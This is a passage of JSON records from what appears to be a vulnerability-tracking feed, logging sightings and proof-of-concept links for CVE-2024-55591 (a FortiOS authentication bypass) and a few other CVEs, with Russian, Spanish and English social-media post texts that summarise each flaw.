Authentication Bypass CVE-2024-55591 #FortiRekt #SuperAdminNow #FortiOSBypass #CVE55591 #FortiGateWebVulnerability https://labs.watchtowr.com/get-fortirekt-i-am-the-super_admin-now-fortios-authentication-bypass-cve-2024-55591/", "creation_timestamp": "2026-08-02T03:00:04.284489Z"}, {"uuid": "cdbf78dd-40ec-4585-9c72-1de3ccd28b96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/5015", "content": "Advisory: CVE-2024-55957 #CVE202455957 #ThermoScientific #PrivilegeEscalation #SecurityPatch #TierZeroSecurity https://tierzerosecurity.co.nz/2025/02/07/cve-2024-55957.html", "creation_timestamp": "2026-08-02T03:00:04.810651Z"}, {"uuid": "dee1d2b6-aca9-4e5b-8309-b0eb719bb41e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/purp_sec/380", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-1960 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 WebHMI, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 EcoStruxure Power Automation System User Interface \u0438 EcoStruxure Microgrid Operation Large (EMO-L). \u0421\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0435\u0441\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0431\u044b\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u044b \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438.\n\n\ud83d\udd35CVE-2025-27407 \u2014 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 graphql-ruby, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Ruby. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 GraphQL-\u0441\u0445\u0435\u043c\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u043e\u0434\u043e\u0432 GraphQL::Schema.from_introspection \u0438\u043b\u0438 GraphQL::Schema::Loader.load.\n\n\ud83d\udd35CVE-2024-13918 \u0438 CVE-2024-13919 \u2014 \u0434\u0432\u0435 \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0435 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Laravel, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JavaScript-\u043a\u043e\u0434 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u043e\u0442\u043b\u0430\u0434\u043a\u0438.\n\n\ud83d\udd35CVE-2024-55591 \u0438 CVE-2025-24472 \u2014 \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Fortinet, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u043d\u043e\u0432\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Mora_001. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e SuperBlack.\n\n\ud83d\udd35CVE-2025-30066 \u2014 \u0442\u0430\u043a\u043e\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0439 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c GitHub Action tj-actions/changed-files. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u043a\u0440\u0435\u0442\u0430\u043c CI/CD, \u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0439 Action.\n\n\ud83d\udd35CVE-2025-26701 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Percona Monitoring and Management (PMM) Open Virtual Appliance (OVA), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 root-\u043f\u0440\u0430\u0432\u0430\u043c\u0438.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:06.233408Z"}, {"uuid": "e9d1da5c-d60e-4386-ba25-a4364bdd5b0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55890", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55890.yaml", "content": "", "creation_timestamp": "2026-08-05T00:00:02.954088Z"}, {"uuid": "d7b042cb-fe81-401e-8dd6-f3cb3668f16a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/purp_sec/191", "content": "\u0422\u043e\u043b\u044c\u043a\u043e \u043c\u044b \u043e\u0431\u0441\u0443\u0434\u0438\u043b\u0438 \u0442\u0435\u043c\u0443 \u0441 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u043c, \u044e\u0437\u0430\u044e\u0449\u0438\u043c \u0434\u0440\u0435\u0432\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0432\u0437\u043b\u043e\u043c\u0430, \u043a\u0430\u043a \u043f\u043e\u0434\u043e\u0441\u043f\u0435\u043b\u043e \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043b\u044e\u0434\u0441\u043a\u043e\u0439 \u043d\u0435\u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438.\n\n14 \u044f\u043d\u0432\u0430\u0440\u044f Fortinet \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-55591 (CVSS 9,8). \u0423\u0436\u0435 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0435\u0435 \u044e\u0437\u0430\u043b\u0438 \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u044b \u043f\u043e\u0447\u0442\u0438 49 \u0442\u044b\u0441\u044f\u0447 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Fortinet \u0442\u0430\u043a \u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\nFortinet \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e CVE-2024-55591 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u043d\u043e \u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 KEV CISA. \u0427\u0442\u043e \u0435\u0449\u0435 \u043d\u0443\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u043b\u043e \u0414\u041e\u0421\u0422\u0410\u0422\u041e\u0427\u041d\u041e \u0441\u0442\u0440\u0430\u0448\u043d\u043e? \n\n#red_team #Fortinet", "creation_timestamp": "2026-08-04T13:00:15.063479Z"}, {"uuid": "de9e9d0d-fbc6-490d-824f-978705673afa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/ocelotlsec.bsky.social/post/3mlngfegfqd2s", "content": "\ud83d\udea8 Alerta de Seguridad: CVE-2024-55591\n\nFortinet FortiOS auth bypass 2025\n\nOcelotl Intelligence detecta y protege contra esta amenaza autom\u00e1ticamente.\n\n\ud83d\udd0d Escanea tu infraestructura gratis: https://ocelotlsec.mx\n\n#Ciberseguridad #LATAM #CVE #Seguridad", "creation_timestamp": "2026-05-12T09:00:05.279271Z"}, {"uuid": "b6f8fbda-9c37-462c-a8b7-91dc042f5622", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/purp_sec/191", "content": "\u0422\u043e\u043b\u044c\u043a\u043e \u043c\u044b \u043e\u0431\u0441\u0443\u0434\u0438\u043b\u0438 \u0442\u0435\u043c\u0443 \u0441 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u043c, \u044e\u0437\u0430\u044e\u0449\u0438\u043c \u0434\u0440\u0435\u0432\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0432\u0437\u043b\u043e\u043c\u0430, \u043a\u0430\u043a \u043f\u043e\u0434\u043e\u0441\u043f\u0435\u043b\u043e \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043b\u044e\u0434\u0441\u043a\u043e\u0439 \u043d\u0435\u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438.\n\n14 \u044f\u043d\u0432\u0430\u0440\u044f Fortinet \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-55591 (CVSS 9,8). \u0423\u0436\u0435 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0435\u0435 \u044e\u0437\u0430\u043b\u0438 \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u044b \u043f\u043e\u0447\u0442\u0438 49 \u0442\u044b\u0441\u044f\u0447 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Fortinet \u0442\u0430\u043a \u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\nFortinet \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e CVE-2024-55591 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u043d\u043e \u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 KEV CISA. \u0427\u0442\u043e \u0435\u0449\u0435 \u043d\u0443\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u043b\u043e \u0414\u041e\u0421\u0422\u0410\u0422\u041e\u0427\u041d\u041e \u0441\u0442\u0440\u0430\u0448\u043d\u043e? \n\n#red_team #Fortinet", "creation_timestamp": "2026-08-05T00:00:09.255254Z"}, {"uuid": "b34a0be8-cd47-4beb-a9c0-3334cac816ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/ocelotlsec.bsky.social/post/3mmqmwat4hs2h", "content": "\ud83d\udea8 Alerta de Seguridad: CVE-2024-55591\n\nFortinet FortiOS auth bypass 2025\n\nOcelotl Intelligence detecta y protege contra esta amenaza autom\u00e1ticamente.\n\n\ud83d\udd0d Escanea tu infraestructura gratis: https://ocelotlsec.mx\n\n#Ciberseguridad #LATAM #CVE #Seguridad", "creation_timestamp": "2026-05-26T09:00:02.431090Z"}, {"uuid": "47b3bc18-317d-4be8-8440-fc6ded70a116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/purp_sec/380", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-1960 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 WebHMI, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 EcoStruxure Power Automation System User Interface \u0438 EcoStruxure Microgrid Operation Large (EMO-L). \u0421\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0435\u0441\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0431\u044b\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u044b \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438.\n\n\ud83d\udd35CVE-2025-27407 \u2014 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 graphql-ruby, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Ruby. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 GraphQL-\u0441\u0445\u0435\u043c\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u043e\u0434\u043e\u0432 GraphQL::Schema.from_introspection \u0438\u043b\u0438 GraphQL::Schema::Loader.load.\n\n\ud83d\udd35CVE-2024-13918 \u0438 CVE-2024-13919 \u2014 \u0434\u0432\u0435 \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0435 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Laravel, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JavaScript-\u043a\u043e\u0434 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u043e\u0442\u043b\u0430\u0434\u043a\u0438.\n\n\ud83d\udd35CVE-2024-55591 \u0438 CVE-2025-24472 \u2014 \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Fortinet, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u043d\u043e\u0432\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Mora_001. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e SuperBlack.\n\n\ud83d\udd35CVE-2025-30066 \u2014 \u0442\u0430\u043a\u043e\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0439 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c GitHub Action tj-actions/changed-files. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u043a\u0440\u0435\u0442\u0430\u043c CI/CD, \u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0439 Action.\n\n\ud83d\udd35CVE-2025-26701 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Percona Monitoring and Management (PMM) Open Virtual Appliance (OVA), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 root-\u043f\u0440\u0430\u0432\u0430\u043c\u0438.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:31.751673Z"}, {"uuid": "c44d12b7-adf9-41ed-98d5-7d049bb24002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": 